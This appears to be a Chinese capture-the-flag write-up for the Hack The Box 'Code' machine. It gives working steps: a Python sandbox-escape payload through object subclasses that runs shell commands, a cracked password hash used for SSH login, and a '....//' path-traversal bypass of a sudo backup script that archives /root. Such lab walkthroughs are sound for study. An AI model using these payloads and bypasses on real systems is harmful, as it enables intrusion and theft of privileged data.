HTB-code

user

nmap扫描 nmap 10.10.11.62 -sV -A

发现开放了5000端口 访问发现是个在线执行python代码的网页

可以进行命令执行

print(''.__class__.__base__.__subclasses__()[317]('ls /',shell=True,stdout=-1).communicate()[0].strip())

然后直接在上层目录读到user.txt

print(''.__class__.__base__.__subclasses__()[317]('cat ../user.txt',shell=True,stdout=-1).communicate()[0].strip())

root

命令执行

1
2
3
print(''.__class__.__base__.__subclasses__()[317]('ls *',shell=True,stdout=-1).communicate()[0].strip())
#b'app.pyinstance:\ndatabase.db\n\n__pycache__:\napp.cpython-38.pyc\n\nstatic:\ncss\n\ntemplates:\nabout.html\ncodes.html\nindex.html\nlogin.html\nregister.html'
发现有instance下有database.db 读一下试试看

于是可以拿到 martin的hash加密后的密码 3de6f30c4a09c27fc71932bfc68474be 就是 nafeelswordsmaster

然后使用ssh登录 ssh martin@10.10.11.62 提示输入密码 输入就好了

输入sudo -l 回显

1
2
3
4
5
6
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

backy.sh文件内容:

内容大概为三个功能:
1.输入检查,必须传入一个 JSON 文件路径(如 task.json),否则报错。检查文件是否存在。
2.路径过滤使用,jq 移除 directories_to_archive 中所有 ../(防止目录遍历攻击)。允许的路径范围限定在 /var/ 和 /home/。
3.路径权限检查,is_allowed_path() 函数检查路径是否以 /var/ 或 /home/ 开头(防止访问敏感路径如 /root/)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash

if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}

for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done

/usr/bin/backy "$json_file"

task.json

其主要功能是过滤路径并检查允许的目录,先执行一下backy.sh,发现会生成一个压缩包

1
2
3
4
5
6
7
8
9
10
11
12
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],

"exclude": [
".*"
]
}

做法:

将备份目录修改为/home/….//root 并且要删除exclude: [“.*”]

为什么要删除?exclude: [".*"]导致/root文件夹被完全排除

1
2
3
4
5
6
7
8
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//root"
]
}

image-20250424172649995

sudo /usr/bin/backy.sh task.json

image-20250424172727484

执行ls 发现生成了压缩包 使用tar -xjf code_home_.._root_2025_April.tar.bz2

再ls 发现生成了root目录 进root目录读root.txt即可

image-20250424172954271